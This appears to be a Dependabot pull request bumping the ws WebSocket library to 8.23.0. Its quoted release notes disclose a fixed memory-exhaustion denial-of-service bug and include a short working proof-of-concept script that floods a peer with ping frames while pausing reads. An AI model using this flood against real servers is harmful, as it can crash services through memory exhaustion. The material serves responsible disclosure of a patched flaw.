[dependabot]

Bumps ws from 8.18.3 to 8.23.0.

Release notes

Sourced from ws's releases.

8.23.0

Features

• Introduced the maxPendingAutoPongs option (ace7248f).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (ace7248f).

A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
ws.pause();
(function ping() {
  ws.ping(data, function (err) {
    if (err) return;
    ping();
  });
})();

});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed by multiple reporters:

• Younghun Ko
• G0r4ni8

... (truncated)

Commits

• d387219 [dist] 8.23.0
• ace7248 [security] Limit automatically sent pending pongs
• 73d283c [test] Ensure DuplexSockets automatically emit the 'close' event
• 2582a67 [dist] 8.22.2
• 3eec252 [perf] Do not retain the read buffer via the close reason (#2354)
• 9757c69 [fix] Do not modify the url.URL object (#2353)
• e23d55e [fix] Percent-decode the userinfo of the URL (#2352)
• 335a610 [perf] Do not retain the read buffer via the frame mask (#2350)
• f40ccff [doc] Adjust Node.js version requirement in README (#2348)
• c18a80a [dist] 8.22.1
• Additional commits viewable in compare view